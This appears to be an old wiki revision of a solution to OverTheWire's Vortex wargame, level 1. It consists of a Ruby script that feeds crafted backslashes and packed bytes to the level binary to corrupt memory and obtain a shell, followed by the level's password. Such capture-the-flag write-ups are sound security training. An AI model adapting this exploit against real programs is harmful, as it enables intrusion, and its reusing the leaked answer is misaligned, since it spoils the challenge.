This is an old revision of the document!
Over The Wire - Vortex
Level 0
Level 1
require 'pty' begin PTY.spawn("/vortex/level1") do |stdin, stdout, pid| 257.times {stdout.write "\\"} 1.times {stdout.write [0xca].pack('V')} 1.times {stdout.write "\\"} 1.times {stdout.write [0xff].pack('V')} reader = Thread.new { STDOUT.sync = true STDOUT.write(stdin.read(1)) until stdin.eof? puts 'Exiting reader' } stdout.write STDIN.readline until STDIN.eof? end rescue => e puts e end
Password: 23anbT\rE